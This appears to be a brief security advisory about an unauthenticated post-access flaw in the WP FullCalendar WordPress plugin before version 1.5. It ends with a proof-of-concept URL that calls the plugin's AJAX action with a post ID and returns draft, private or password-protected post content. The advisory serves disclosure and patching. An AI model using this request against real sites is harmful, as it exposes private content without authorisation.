WP FullCalendar < 1.5 - Unauthenticated Arbitrary Post Access

The plugin does not ensure that the post retrieved via an AJAX action is public and can be accessed by the user making the request, allowing unauthenticated attackers to get the content of arbitrary posts, including draft/private as well as password-protected ones.

Open the below URL as an unauthenticated user, and this will display the content of the post with ID 1, even if they are draft/private/password protected:

https://example.com/wp-admin/admin-ajax.php?action=wpfc_qtip_content&post_id=1